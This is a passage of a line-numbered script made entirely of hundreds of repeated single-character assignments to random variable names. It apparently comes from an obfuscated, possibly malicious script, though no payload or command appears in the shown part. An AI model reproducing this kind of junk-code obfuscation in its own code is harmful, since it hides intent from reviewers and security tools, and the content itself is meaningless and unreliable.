28	dnpkh = "i";
29	dnpkh = "W";
30	dnpkh = "u";
31	dnpkh = "s";
32	dnpkh = "R";
33	dnpkh = "J";
34	dnpkh = "Q";
35	dnpkh = "D";
36	dnpkh = "k";
37	dnpkh = "B";
38	dnpkh = "j";
39	dnpkh = "M";
40	dnpkh = "X";
41	dnpkh = "z";
42	dnpkh = "A";
43	dnpkh = "o";
44	dnpkh = "E";
45	dnpkh = "S";
46	wqdlvm = "n";
47	wqdlvm = "s";
48	wqdlvm = "i";
49	wqdlvm = "Y";
50	wqdlvm = "X";
51	wqdlvm = "I";
52	wqdlvm = "k";
53	wqdlvm = "u";
54	wqdlvm = "a";
55	wqdlvm = "z";
56	wqdlvm = "N";
57	wqdlvm = "A";
58	wqdlvm = "v";
59	wqdlvm = "K";
60	wqdlvm = "r";
61	wqdlvm = "r";
62	wqdlvm = "e";
63	wqdlvm = "X";
64	wqdlvm = "O";
65	wqdlvm = "h";
66	wqdlvm = "p";
67	wqdlvm = "X";
68	wqdlvm = "u";
69	wqdlvm = "P";
70	wqdlvm = "D";
71	wqdlvm = "e";
72	wqdlvm = "Z";
73	wqdlvm = "S";
74	wqdlvm = "b";
75	wqdlvm = "L";
76	wqdlvm = "S";
77	wqdlvm = "y";
78	wqdlvm = "i";
79	wqdlvm = "b";
80	wqdlvm = "p";
81	wqdlvm = "R";
82	wqdlvm = "B";
83	wqdlvm = "f";
84	wqdlvm = "s";
85	wqdlvm = "H";
86	wqdlvm = "V";
87	wqdlvm = "u";
88	wqdlvm = "z";
89	wqdlvm = "L";
90	dugoaionx = "K";
91	dugoaionx = "D";
92	dugoaionx = "L";
93	dugoaionx = "k";
94	dugoaionx = "y";
95	dugoaionx = "V";
96	dugoaionx = "L";
97	dugoaionx = "g";
98	dugoaionx = "v";
99	dugoaionx = "x";
100	dugoaionx = "R";
101	dugoaionx = "R";
102	dugoaionx = "V";
103	dugoaionx = "R";
104	dugoaionx = "Z";
105	dugoaionx = "%";
106	wemzy = "q";
107	wemzy = "V";
108	wemzy = "q";
109	wemzy = "t";
110	wemzy = "j";
111	wemzy = "K";
112	wemzy = "W";
113	wemzy = "H";
114	wemzy = "Y";
115	wemzy = "Q";
116	wemzy = "G";
117	wemzy = "\\";
118	admai = "J";
119	admai = "V";
120	admai = "Q";
121	admai = "m";
122	admai = "w";
123	admai = "w";
124	admai = "F";
125	admai = "b";
126	admai = "m";
127	admai = "U";
128	admai = "G";
129	admai = "a";
130	admai = "y";
131	admai = "A";
132	admai = "F";
133	admai = "Q";
134	admai = "M";
135	admai = "N";
136	admai = "u";
137	admai = "X";
138	admai = "q";
139	admai = "p";
140	fvctl = "b";
141	fvctl = "b";
142	fvctl = "Z";
143	fvctl = "G";
144	fvctl = "v";
145	fvctl = "y";
146	fvctl = "A";
147	fvctl = "F";
148	fvctl = "e";
149	fvctl = "a";
150	fvctl = "v";
151	fvctl = "O";
152	fvctl = "J";
153	fvctl = "A";
154	fvctl = "X";
155	fvctl = "C";
156	fvctl = "g";
157	fvctl = "M";
158	fvctl = "w";
159	fvctl = "d";
160	fvctl = "m";
161	fvctl = "s";
162	fvctl = "f";
163	fvctl = "O";
164	fvctl = "I";
165	fvctl = "A";
166	fvctl = "p";
167	fvctl = "P";
168	fvctl = "g";
169	fvctl = "u";
170	rzwlpghe = "G";
171	rzwlpghe = "N";
172	rzwlpghe = "P";
173	rzwlpghe = "T";
174	rzwlpghe = "_";
175	bptqxvs = "L";
176	bptqxvs = "n";
177	bptqxvs = "r";
178	bptqxvs = "d";
179	bptqxvs = "E";
180	bptqxvs = "I";
181	bptqxvs = "N";
182	bptqxvs = "r";
183	bptqxvs = "V";
184	bptqxvs = "l";
185	bptqxvs = "T";
186	bptqxvs = "p";
187	bptqxvs = "J";
188	bptqxvs = "u";
189	bptqxvs = "Q";
190	bptqxvs = "J";
191	bptqxvs = "t";
192	bptqxvs = "A";
193	bptqxvs = "V";
194	bptqxvs = "j";
195	bptqxvs = "H";
196	bptqxvs = "U";
197	bptqxvs = "w";
198	bptqxvs = "l";
199	bptqxvs = "D";
200	bptqxvs = "M";
201	bptqxvs = "P";
202	bptqxvs = "N";
203	bptqxvs = "O";
204	bptqxvs = "h";
205	bptqxvs = "u";
206	bptqxvs = "p";
207	bptqxvs = "e";
208	bptqxvs = "e";
209	ydpdq = "D";
210	ydpdq = "N";
211	ydpdq = "t";
212	ydpdq = "E";
213	ydpdq = "G";
214	ydpdq = "/";
215	jmdpfjyjr = "g";
216	jmdpfjyjr = "z";
217	jmdpfjyjr = "F";
218	jmdpfjyjr = "Y";
219	jmdpfjyjr = "d";
220	jmdpfjyjr = "a";
221	jmdpfjyjr = "E";
222	jmdpfjyjr = "s";
223	jmdpfjyjr = "c";
224	jmdpfjyjr = "i";
225	jmdpfjyjr = "x";
226	jmdpfjyjr = "Y";
227	jmdpfjyjr = "a";
228	jmdpfjyjr = "q";
229	jmdpfjyjr = "p";
230	jmdpfjyjr = "K";
231	jmdpfjyjr = "K";
232	jmdpfjyjr = "P";
233	jmdpfjyjr = "w";
234	jmdpfjyjr = "k";
235	jmdpfjyjr = "S";
236	jmdpfjyjr = "y";
237	jmdpfjyjr = "r";
238	jmdpfjyjr = "L";
239	jmdpfjyjr = "M";
240	jmdpfjyjr = "W";
241	jmdpfjyjr = "G";
242	jmdpfjyjr = "s";
243	jmdpfjyjr = "F";
244	jmdpfjyjr = "R";
245	jmdpfjyjr = "a";
246	rupopshn = "w";
247	rupopshn = "E";
248	rupopshn = "q";
249	rupopshn = "i";
250	rupopshn = "u";
251	rupopshn = "W";
252	rupopshn = "i";
253	rupopshn = "D";
254	rupopshn = "U";
255	rupopshn = "M";
256	rupopshn = "f";
257	rupopshn = "n";
258	rupopshn = "r";
259	rupopshn = "J";
260	rupopshn = "m";
261	rupopshn = "m";
262	rupopshn = "v";
263	rupopshn = "l";
264	rupopshn = "P";
265	rupopshn = "M";
266	rupopshn = "B";
267	rupopshn = "k";
268	rupopshn = "h";
269	rupopshn = "H";
270	rupopshn = "e";
271	rupopshn = "a";
272	rupopshn = "I";
273	rupopshn = "S";
274	rupopshn = "e";
275	rupopshn = "q";
276	rupopshn = "R";
277	xhfqxqtju = "T";
278	xhfqxqtju = "R";
279	xhfqxqtju = "b";
280	xhfqxqtju = "M";
281	xhfqxqtju = "K";
282	xhfqxqtju = "0";
283	vnjmh = "l";
284	vnjmh = "H";
285	vnjmh = "r";
286	vnjmh = "l";
287	vnjmh = "M";
288	vnjmh = "H";
289	vnjmh = "h";
290	vnjmh = "p";
291	vnjmh = "Q";
292	vnjmh = "P";
293	vnjmh = "l";
294	vnjmh = "O";
295	vnjmh = "g";
296	vnjmh = "x";
297	vnjmh = "m";
298	vnjmh = "O";
299	vnjmh = "R";
300	vnjmh = "U";
301	vnjmh = "X";
302	vnjmh = "l";
303	vnjmh = "l";
304	vnjmh = "o";
305	vnjmh = "M";
306	vnjmh = "U";
307	vnjmh = "B";
308	vnjmh = "h";
309	vnjmh = "z";
310	vnjmh = "i";
311	vnjmh = "v";
312	bvhetokpb = "V";
313	bvhetokpb = "j";
314	vombzfk = "E";
315	vombzfk = "k";
316	vombzfk = "X";
317	vombzfk = "N";
318	vombzfk = "i";
319	vombzfk = "Q";
320	vombzfk = "i";
321	vombzfk = "b";
322	vombzfk = "C";
323	vombzfk = "z";
324	vombzfk = "m";
325	vombzfk = "s";
326	vombzfk = "g";
327	vombzfk = "q";
328	vombzfk = "w";
329	vombzfk = "l";
330	vombzfk = "V";
331	vombzfk = "S";
332	vombzfk = "Y";
333	vombzfk = "l";
334	vombzfk = "E";
335	vombzfk = "u";
336	vombzfk = "K";
337	vombzfk = "j";
338	vombzfk = "s";
339	vombzfk = "y";
340	vombzfk = "t";
341	vombzfk = "K";
342	vombzfk = "y";
343	vombzfk = "v";
344	vombzfk = "O";
345	vombzfk = "V";
346	vombzfk = "Y";
347	vombzfk = "a";
348	vombzfk = "Q";
349	vombzfk = "G";
350	vombzfk = "Z";
351	vombzfk = "v";
352	vombzfk = "f";
353	vombzfk = "E";
354	vombzfk = "j";
355	vombzfk = "o";
356	kvvyxpyit = "t";
357	kvvyxpyit = "x";
358	kvvyxpyit = "j";
359	kvvyxpyit = "n";
360	kvvyxpyit = "S";
361	kvvyxpyit = "C";
362	kvvyxpyit = "F";
363	kvvyxpyit = "W";
364	kvvyxpyit = "H";
365	kvvyxpyit = "e";
366	kvvyxpyit = "w";
367	kvvyxpyit = "o";
368	kvvyxpyit = "V";
369	kvvyxpyit = "I";
370	kvvyxpyit = "E";
371	kvvyxpyit = "q";
372	kvvyxpyit = "q";
373	kvvyxpyit = "m";
374	kvvyxpyit = "N";
375	kvvyxpyit = "o";
376	kvvyxpyit = "O";
377	kvvyxpyit = "L";
378	kvvyxpyit = "b";
379	kvvyxpyit = "Y";
380	kvvyxpyit = "U";
381	kvvyxpyit = "i";
382	nsxcb = "g";
383	nsxcb = "m";
384	nsxcb = "J";
385	nsxcb = "o";
386	nsxcb = "D";
387	nsxcb = "d";
388	nsxcb = "A";
389	nsxcb = "a";
390	nsxcb = "Q";
391	nsxcb = "k";
392	nsxcb = "q";
393	nsxcb = "z";
394	nsxcb = "e";
395	nsxcb = "R";
396	nsxcb = "Z";
397	nsxcb = "r";
398	nsxcb = "l";
399	nsxcb = "a";
400	nsxcb = "i";
401	nsxcb = "S";
402	nsxcb = "j";
403	nsxcb = "x";
404	nsxcb = "L";
405	nsxcb = "q";
406	nsxcb = "h";
407	nsxcb = "L";
408	nsxcb = "r";
409	nsxcb = "A";
410	nsxcb = "g";
411	nsxcb = "X";
412	nsxcb = "S";
413	nsxcb = "f";
414	nsxcb = "N";
415	nsxcb = "N";
416	dzzpeiqd = "M";
417	dzzpeiqd = "A";
418	dzzpeiqd = "s";
419	dzzpeiqd = "s";
420	dzzpeiqd = "d";
421	dzzpeiqd = "e";
422	dzzpeiqd = "x";
423	dzzpeiqd = "E";
424	dzzpeiqd = "v";
425	dzzpeiqd = "I";
426	dzzpeiqd = "R";
427	dzzpeiqd = "e";
428	dzzpeiqd = "n";
429	dzzpeiqd = "I";
430	dzzpeiqd = "D";
431	dzzpeiqd = "U";
432	dzzpeiqd = "R";
433	dzzpeiqd = "Q";
434	dzzpeiqd = "o";
435	dzzpeiqd = "Y";
436	dzzpeiqd = "A";
437	dzzpeiqd = "S";
438	dzzpeiqd = "o";
439	dzzpeiqd = "q";
440	dzzpeiqd = "b";
441	dzzpeiqd = "e";
442	dzzpeiqd = "o";
443	dzzpeiqd = "f";
444	dzzpeiqd = "U";
445	dzzpeiqd = "S";
446	dzzpeiqd = "F";
447	dzzpeiqd = "Y";
448	omyipx = "C";
449	omyipx = "n";
450	omyipx = "K";
451	omyipx = "H";
452	omyipx = "s";
453	omyipx = "y";
454	omyipx = "M";
455	omyipx = "n";
456	omyipx = "k";
457	omyipx = "M";
458	omyipx = "h";
459	omyipx = "Y";
460	omyipx = "f";
461	omyipx = "b";
462	omyipx = "u";
463	omyipx = "L";
464	omyipx = "s";
465	omyipx = "H";
466	omyipx = "q";
467	omyipx = "h";
468	omyipx = "H";
469	omyipx = "l";
470	iiugrphdn = "X";
471	iiugrphdn = "M";
472	iiugrphdn = "l";
473	iiugrphdn = "j";
474	iiugrphdn = "k";
475	iiugrphdn = "e";
476	iiugrphdn = "G";
477	iiugrphdn = "F";
478	iiugrphdn = "K";
479	iiugrphdn = "Q";
480	iiugrphdn = "Q";
481	iiugrphdn = "R";
482	iiugrphdn = "D";
483	iiugrphdn = "u";
484	iiugrphdn = "X";
485	iiugrphdn = "k";
486	iiugrphdn = "B";
487	iiugrphdn = "p";
488	iiugrphdn = "N";
489	iiugrphdn = "s";
490	iiugrphdn = "R";
491	iiugrphdn = "z";
492	iiugrphdn = "n";
493	iiugrphdn = "r";
494	iiugrphdn = "F";
495	iiugrphdn = "k";
496	iiugrphdn = "i";
497	iiugrphdn = "L";
498	iiugrphdn = "P";
499	ticounda = "z";
500	ticounda = "S";
501	ticounda = "A";
502	ticounda = "i";
503	ticounda = "Y";
504	ticounda = "E";
505	ticounda = "v";
506	ticounda = "v";
507	ticounda = "a";
508	ticounda = "T";
509	ticounda = "G";
510	ticounda = "Y";
511	ticounda = "W";
512	yjtncumhh = "R";
513	yjtncumhh = "t";
514	yjtncumhh = "y";
515	yjtncumhh = "d";
516	yjtncumhh = "T";
517	yjtncumhh = "o";
518	yjtncumhh = "J";
519	yjtncumhh = "C";
520	yjtncumhh = "T";
521	yjtncumhh = "P";
522	yjtncumhh = "i";
523	yjtncumhh = "Y";
524	yjtncumhh = "S";
525	yjtncumhh = "X";
526	yjtncumhh = "e";
527	yjtncumhh = "d";
528	yjtncumhh = "e";
529	yjtncumhh = "K";
530	yjtncumhh = "h";
531	yjtncumhh = "l";
532	yjtncumhh = "H";
533	yjtncumhh = "M";
534	yjtncumhh = "A";
535	yjtncumhh = "L";
536	yjtncumhh = "n";
537	yjtncumhh = "X";
538	yjtncumhh = "c";
539	yjtncumhh = "x";
540	yjtncumhh = "f";
541	yjtncumhh = "b";
542	yjtncumhh = "Q";
543	yjtncumhh = "I";
544	kovfnheqw = "a";
545	kovfnheqw = "N";
546	kovfnheqw = "y";
547	kovfnheqw = "R";
548	kovfnheqw = "y";
549	kovfnheqw = "R";
550	kovfnheqw = "Z";
551	kovfnheqw = "Z";
552	kovfnheqw = "p";
553	kovfnheqw = "W";
554	kovfnheqw = "E";
555	kovfnheqw = "Z";
556	kovfnheqw = "v";
557	kovfnheqw = "j";
558	kovfnheqw = "l";
559	kovfnheqw = "K";
560	kovfnheqw = "G";
561	kovfnheqw = "z";
562	kovfnheqw = "z";
563	kovfnheqw = "b";
564	kovfnheqw = "j";
565	kovfnheqw = "o";
566	kovfnheqw = "b";
567	kovfnheqw = "p";
568	kovfnheqw = "J";
569	kovfnheqw = "N";
570	kovfnheqw = "m";
571	kovfnheqw = "D";
572	kovfnheqw = "P";
573	kovfnheqw = "B";
574	kovfnheqw = "j";
575	kovfnheqw = "w";
576	kovfnheqw = "j";
577	kovfnheqw = "E";
578	kovfnheqw = "S";
579	kovfnheqw = "h";
580	kovfnheqw = "E";
581	kovfnheqw = "w";
582	kovfnheqw = "H";
583	kovfnheqw = "K";
584	kovfnheqw = "u";
585	kovfnheqw = "3";
586	ixodtoxy = "m";
587	ixodtoxy = "M";
588	ixodtoxy = "B";
589	ixodtoxy = "y";
590	ixodtoxy = "e";
591	ixodtoxy = "T";
592	ixodtoxy = "C";
593	ixodtoxy = "n";
594	ixodtoxy = "z";
595	ixodtoxy = "P";
596	ixodtoxy = "R";
597	ixodtoxy = "t";
598	ixodtoxy = "L";
599	ixodtoxy = "F";
600	ixodtoxy = "R";
601	ixodtoxy = "y";
602	ixodtoxy = "g";
603	ixodtoxy = "T";
604	ixodtoxy = "n";
605	ixodtoxy = "t";
606	ixodtoxy = "u";
607	ixodtoxy = "r";
608	ixodtoxy = "F";
609	ixodtoxy = "M";
610	ixodtoxy = "b";
611	ixodtoxy = "E";
612	ixodtoxy = "f";
613	ixodtoxy = "G";
614	ixodtoxy = "n";
615	ixodtoxy = "n";
616	dzdel = "L";
617	dzdel = "v";
618	dzdel = "m";
619	dzdel = "O";
620	dzdel = "l";
621	dzdel = "k";
622	dzdel = "y";
623	dzdel = "J";
624	dzdel = "z";
625	dzdel = "N";
626	dzdel = "O";
627	dzdel = "O";
628	dzdel = "G";
629	dzdel = "c";
630	dzdel = "D";
631	dzdel = "D";
632	dzdel = "B";
633	dzdel = "v";
634	dzdel = "k";
635	fosuxie = "d";
636	fosuxie = "F";
637	fosuxie = "w";
638	fosuxie = "n";
639	fosuxie = "u";
640	fosuxie = "J";
641	fosuxie = "R";
642	fosuxie = "f";
643	fosuxie = "b";
644	fosuxie = "V";
645	fosuxie = "h";
646	fosuxie = "H";
647	fosuxie = "s";
648	fosuxie = "e";
649	fosuxie = "R";
650	fosuxie = "U";
651	fosuxie = "C";
652	fosuxie = "F";
653	fosuxie = "Y";
654	fosuxie = "F";
655	fosuxie = "c";
656	fosuxie = "K";
657	fosuxie = "R";
658	fosuxie = "s";
659	fosuxie = "U";
660	fosuxie = "h";
661	fosuxie = "d";
662	fosuxie = "u";
663	fosuxie = "s";
664	fosuxie = "K";
665	fosuxie = "J";
666	fosuxie = "S";
667	fosuxie = "D";
668	fosuxie = ".";
669	gepmcf = "r";
670	xqedead = "Z";
671	xqedead = "B";
672	xqedead = "O";
673	xqedead = "w";
674	xqedead = "l";
675	xqedead = "M";
676	xqedead = "p";
677	xqedead = "D";
678	xqedead = "R";
679	xqedead = "H";
680	xqedead = "h";
681	xqedead = "r";
682	xqedead = "F";
683	xqedead = "l";
684	xqedead = "o";
685	xqedead = "e";
686	xqedead = "L";
687	xqedead = "X";
688	xqedead = "G";
689	xqedead = "r";
690	xqedead = "m";
691	ewymxw = "Z";
692	ewymxw = "O";
693	ewymxw = "b";
694	ewymxw = "o";
695	ewymxw = "X";
696	ewymxw = "x";
697	ewymxw = "e";
698	ewymxw = "B";
699	ewymxw = "b";
700	ewymxw = "u";
701	ewymxw = "H";
702	ewymxw = "z";
703	ewymxw = "V";
704	ewymxw = "o";
705	ewymxw = "e";
706	ewymxw = "Y";
707	ewymxw = "L";
708	ewymxw = "C";
709	ewymxw = "X";
710	ewymxw = "L";
711	ewymxw = "P";
712	ewymxw = "T";
713	osrfk = "D";
714	osrfk = "M";
715	osrfk = "B";
716	osrfk = "d";
717	osrfk = "m";
718	osrfk = "o";
719	osrfk = "Z";
720	osrfk = "m";
721	osrfk = "m";
722	osrfk = "T";
723	osrfk = "M";
724	osrfk = "q";
725	osrfk = "h";
726	osrfk = "I";
727	osrfk = "h";
728	osrfk = "R";
729	osrfk = "w";
730	osrfk = "x";
731	osrfk = "P";
732	osrfk = "e";
733	osrfk = "F";
734	osrfk = "T";
735	osrfk = "n";
736	osrfk = "q";
737	osrfk = "p";
738	osrfk = "N";
739	osrfk = "v";
740	osrfk = "o";
741	osrfk = "o";
742	osrfk = "o";
743	osrfk = "M";
744	osrfk = "L";
745	osrfk = "J";
746	osrfk = "p";
747	osrfk = "B";
748	osrfk = "1";
749	duebxav = "C";
750	duebxav = "z";
751	duebxav = "Q";
752	duebxav = "k";
753	duebxav = "e";
754	duebxav = "H";
755	duebxav = "D";
756	duebxav = "f";
757	duebxav = "a";
758	duebxav = "p";
759	duebxav = "z";
760	duebxav = "n";
761	duebxav = "g";
762	duebxav = "r";
763	duebxav = "T";
764	duebxav = "f";
765	duebxav = "R";
766	duebxav = "U";
767	duebxav = "L";
768	duebxav = "X";
769	duebxav = "J";
770	duebxav = "Q";
771	duebxav = "d";
772	duebxav = "I";
773	duebxav = "V";
774	duebxav = "K";
775	duebxav = "W";
776	duebxav = "f";
777	duebxav = "p";
778	duebxav = "y";
779	duebxav = "2";
780	qaiysgd = "v";
781	qaiysgd = "A";
782	qaiysgd = "y";
783	qaiysgd = "s";
784	qaiysgd = "U";
785	qaiysgd = "D";
786	qaiysgd = "u";
787	qaiysgd = "f";
788	qaiysgd = "c";
789	qaiysgd = "c";
790	isivtwogi = "U";
791	isivtwogi = "x";
792	isivtwogi = "j";
793	isivtwogi = "z";
794	isivtwogi = "D";
795	isivtwogi = "O";
796	isivtwogi = "h";
797	isivtwogi = "f";
798	isivtwogi = "Y";
799	isivtwogi = "c";
800	isivtwogi = "v";
801	isivtwogi = "s";
802	isivtwogi = "D";
803	isivtwogi = "X";
804	isivtwogi = "S";
805	isivtwogi = "b";
806	isivtwogi = "e";
807	isivtwogi = "Q";
808	isivtwogi = "I";
809	isivtwogi = "J";
810	isivtwogi = "M";
811	isivtwogi = "H";
812	isivtwogi = "b";
813	isivtwogi = "E";
814	isivtwogi = "i";
815	isivtwogi = "r";
816	isivtwogi = "n";
817	isivtwogi = "Y";
818	isivtwogi = "h";
819	isivtwogi = "I";
820	isivtwogi = "w";
821	isivtwogi = "O";
822	isivtwogi = "R";
823	isivtwogi = "D";
824	isivtwogi = "k";
825	isivtwogi = "f";
826	isivtwogi = "q";
827	isivtwogi = "W";
828	isivtwogi = "m";
829	isivtwogi = "b";
830	isivtwogi = "K";
831	uiobcokzs = "B";
832	uiobcokzs = "D";
833	uiobcokzs = "A";
834	uiobcokzs = "f";
835	uiobcokzs = "V";
836	uiobcokzs = "V";
837	uiobcokzs = "c";
838	uiobcokzs = "d";
839	uiobcokzs = "k";
840	uiobcokzs = "y";
841	uiobcokzs = "Q";
842	uiobcokzs = "U";
843	uiobcokzs = "x";
844	uiobcokzs = "R";
845	uiobcokzs = "X";
846	uiobcokzs = "G";
847	uiobcokzs = "x";
848	hejjcwmnn = "F";
849	gmbjf = "z";
850	gmbjf = "B";
851	gmbjf = "Y";
852	gmbjf = "F";
853	gmbjf = "i";
854	gmbjf = "t";
855	gmbjf = "C";
856	gmbjf = "S";
857	gmbjf = "O";
858	gmbjf = "d";
859	gmbjf = "J";
860	gmbjf = "G";
861	gmbjf = "t";
862	gmbjf = "J";
863	gmbjf = "N";
864	gmbjf = "\"";
865	ffcnk = "v";
866	ffcnk = "t";
867	ffcnk = "S";
868	ffcnk = "E";
869	ffcnk = "S";
870	ffcnk = "V";
871	ffcnk = "a";
872	ffcnk = "X";
873	ffcnk = "c";
874	ffcnk = "f";
875	ffcnk = "J";
876	ffcnk = "b";
877	ffcnk = "r";
878	ffcnk = "o";
879	ffcnk = "O";
880	ffcnk = "f";
881	ffcnk = "s";
882	ffcnk = "R";
883	ffcnk = "d";
884	ffcnk = "Z";
885	ffcnk = "u";
886	ffcnk = "e";
887	ffcnk = "b";
888	ffcnk = "L";
889	ffcnk = "t";
890	ffcnk = "z";
891	ffcnk = "W";
892	ffcnk = "o";
893	ffcnk = "u";
894	ffcnk = "d";
895	ffcnk = "R";
896	ffcnk = "v";
897	ffcnk = "8";
898	iujnblmk = "K";
899	iujnblmk = "Q";
900	iujnblmk = "C";
901	iujnblmk = "Z";
902	iujnblmk = "Z";
903	iujnblmk = "Z";
904	iujnblmk = "q";
905	iujnblmk = "B";
906	iujnblmk = "t";
907	iujnblmk = "h";
908	iujnblmk = "6";
909	zdbinpjw = "K";
910	zdbinpjw = "m";
911	zdbinpjw = "c";
912	zdbinpjw = "w";
913	zdbinpjw = "C";
914	zdbinpjw = "v";
915	zdbinpjw = "l";
916	zdbinpjw = "d";
917	zdbinpjw = "W";
918	zdbinpjw = "W";
919	zdbinpjw = "s";
920	zdbinpjw = "X";
921	zdbinpjw = "t";
922	zdbinpjw = "N";
923	zdbinpjw = "h";
924	zdbinpjw = "r";
925	zdbinpjw = "W";
926	zdbinpjw = "M";
927	zdbinpjw = "D";
928	zdbinpjw = "G";
929	zdbinpjw = "V";
930	zdbinpjw = "f";
931	cahevwm = "Q";
932	cahevwm = "Q";
933	cahevwm = "G";
934	cahevwm = "P";
935	cahevwm = "g";
936	cahevwm = "o";
937	cahevwm = "Z";
938	cahevwm = "R";
939	cahevwm = "b";
940	cahevwm = "F";
941	cahevwm = "b";
942	cahevwm = "f";
943	cahevwm = "O";
944	cahevwm = "k";
945	cahevwm = "i";
946	cahevwm = "U";
947	cahevwm = "T";
948	cahevwm = "j";
949	cahevwm = "C";
950	cahevwm = "w";
951	cahevwm = "O";
952	cahevwm = "j";
953	cahevwm = "v";
954	cahevwm = "Y";
955	cahevwm = "Z";
956	cahevwm = "v";
957	cahevwm = "j";
958	cahevwm = "I";
959	cahevwm = "i";
960	cahevwm = "n";
961	cahevwm = "U";
962	cahevwm = "O";
963	cahevwm = "V";
964	cahevwm = "F";
965	cahevwm = "P";
966	cahevwm = "G";
967	cahevwm = "F";
968	cahevwm = ":";
969	evnick = "p";
970	evnick = "q";
971	evnick = "m";
972	evnick = "x";
973	evnick = "O";
974	evnick = "G";
975	evnick = "z";
976	evnick = "K";
977	evnick = "b";
978	evnick = "T";
979	evnick = "i";
980	evnick = "z";
981	evnick = "K";
982	evnick = "E";
983	evnick = "Q";
984	evnick = "y";
985	evnick = "@";
986	alfik = "H";
987	umlpdck = "J";
988	umlpdck = "K";
989	umlpdck = "A";
990	umlpdck = "s";
991	umlpdck = "x";
992	umlpdck = "a";
993	umlpdck = "P";
994	umlpdck = "L";
995	umlpdck = "l";
996	umlpdck = "W";
997	umlpdck = "q";
998	umlpdck = "R";
999	umlpdck = "p";
1000	umlpdck = "a";
1001	umlpdck = "f";
1002	umlpdck = "J";
1003	umlpdck = "X";
1004	umlpdck = "9";
1005	otezqn = "X";
1006	otezqn = "f";
1007	otezqn = "K";
1008	otezqn = "t";
1009	otezqn = "Y";
1010	otezqn = "b";
1011	otezqn = "p";
1012	otezqn = "u";
1013	otezqn = "J";
1014	otezqn = "X";
1015	otezqn = "&";
1016	mqprgo = "S";
1017	mqprgo = "x";
1018	mqprgo = "u";
1019	mqprgo = "z";
1020	mqprgo = "G";
1021	mqprgo = "l";
1022	mqprgo = "H";
1023	mqprgo = "M";
1024	mqprgo = "f";
1025	mqprgo = "X";
1026	mqprgo = "U";
1027	mqprgo = "N";
1028	mqprgo = "g";
1029	mqprgo = "t";
1030	mqprgo = "q";
1031	mqprgo = "u";
1032	mqprgo = "l";
1033	mqprgo = "k";
1034	mqprgo = "A";
1035	mqprgo = "p";
1036	mqprgo = "g";
1037	xtjjrxhx = "P";
1038	xtjjrxhx = "P";
1039	xtjjrxhx = "M";
1040	xtjjrxhx = "f";
1041	xtjjrxhx = "g";
1042	xtjjrxhx = "w";
1043	xtjjrxhx = "L";
1044	xtjjrxhx = "n";
1045	xtjjrxhx = "t";
1046	xtjjrxhx = "b";
1047	xtjjrxhx = "E";
1048	xtjjrxhx = "f";
1049	xtjjrxhx = "R";
1050	xtjjrxhx = "I";
1051	xtjjrxhx = "Q";
1052	xtjjrxhx = "U";
1053	xtjjrxhx = "p";
1054	xtjjrxhx = "a";
1055	xtjjrxhx = "a";
1056	xtjjrxhx = "Y";
1057	xtjjrxhx = "A";
1058	xtjjrxhx = "w";
1059	xtjjrxhx = "S";
1060	xtjjrxhx = "k";
1061	xtjjrxhx = "e";
1062	xtjjrxhx = "s";
1063	xtjjrxhx = "o";
1064	xtjjrxhx = "l";
1065	xtjjrxhx = "w";
1066	rpoxdskat = "F";
1067	rpoxdskat = "S";
1068	rpoxdskat = "z";
1069	rpoxdskat = "V";
1070	rpoxdskat = "v";
1071	rpoxdskat = "r";
1072	rpoxdskat = "c";
1073	rpoxdskat = "C";
1074	rpoxdskat = "Q";
1075	rpoxdskat = "p";
1076	rpoxdskat = "H";
1077	rpoxdskat = "f";
1078	rpoxdskat = "z";
1079	rpoxdskat = "j";
1080	rpoxdskat = "I";
1081	rpoxdskat = "h";
1082	dbwdjz = "s";
1083	xalblyox = "e";
1084	xalblyox = "O";
1085	xalblyox = "T";
1086	xalblyox = "o";
1087	xalblyox = "j";
1088	xalblyox = "i";
1089	xalblyox = "j";
1090	xalblyox = "J";
1091	xalblyox = "Y";
1092	xalblyox = "j";
1093	xalblyox = "j";
1094	xalblyox = "u";
1095	xalblyox = "J";
1096	xalblyox = "X";
1097	xalblyox = "i";
1098	xalblyox = "K";
1099	xalblyox = "q";
1100	xalblyox = "l";
1101	xalblyox = "X";
1102	xalblyox = "i";
1103	xalblyox = "U";
1104	xalblyox = "n";
1105	xalblyox = "H";
1106	xalblyox = "n";
1107	xalblyox = "b";
1108	xalblyox = "H";
1109	xalblyox = "d";
1110	pfubkndd = "h";
1111	pfubkndd = "U";
1112	pfubkndd = "K";
1113	pfubkndd = "V";
1114	pfubkndd = "f";
1115	pfubkndd = "M";
1116	pfubkndd = "T";
1117	pfubkndd = "w";
1118	pfubkndd = "B";
1119	pfubkndd = "k";
1120	pfubkndd = "k";
1121	pfubkndd = "L";
1122	pfubkndd = "a";
1123	pfubkndd = "C";
1124	naaeibrh = "g";
1125	naaeibrh = "B";
1126	naaeibrh = "m";
1127	naaeibrh = "R";
1128	naaeibrh = "Y";
1129	naaeibrh = "M";
1130	naaeibrh = "f";
1131	naaeibrh = "s";
1132	naaeibrh = "R";
1133	naaeibrh = "x";
1134	naaeibrh = "c";
1135	naaeibrh = "q";
1136	naaeibrh = "I";
1137	naaeibrh = "n";
1138	naaeibrh = "W";
1139	naaeibrh = "U";
1140	naaeibrh = "e";
1141	naaeibrh = "W";
1142	naaeibrh = "E";
1143	naaeibrh = "I";
1144	naaeibrh = "D";
1145	naaeibrh = "A";
1146	naaeibrh = "t";
1147	naaeibrh = "j";
1148	naaeibrh = "L";
1149	naaeibrh = "a";
1150	naaeibrh = "Q";
1151	naaeibrh = "W";
1152	naaeibrh = "z";
1153	naaeibrh = "k";
1154	naaeibrh = "M";
1155	naaeibrh = "V";
1156	naaeibrh = "c";
1157	naaeibrh = "T";
1158	naaeibrh = "b";
1159	naaeibrh = "K";
1160	naaeibrh = "W";
1161	naaeibrh = "c";
1162	naaeibrh = "k";
1163	naaeibrh = "n";
1164	naaeibrh = "y";
1165	naaeibrh = "a";
1166	naaeibrh = "q";
1167	naaeibrh = "U";
1168	pmuqkgbyu = "Q";
1169	pmuqkgbyu = "v";
1170	pmuqkgbyu = "L";
1171	pmuqkgbyu = "E";
1172	pmuqkgbyu = "S";
1173	pmuqkgbyu = "a";
1174	pmuqkgbyu = "y";
1175	pmuqkgbyu = "g";
1176	pmuqkgbyu = "a";
1177	pmuqkgbyu = "O";
1178	pmuqkgbyu = "d";
1179	pmuqkgbyu = "F";
1180	pmuqkgbyu = "t";
1181	pmuqkgbyu = "f";
1182	pmuqkgbyu = "f";
1183	pmuqkgbyu = "x";
1184	pmuqkgbyu = "B";
1185	pmuqkgbyu = "t";
1186	pmuqkgbyu = "E";
1187	pmuqkgbyu = "d";
1188	pmuqkgbyu = "Y";
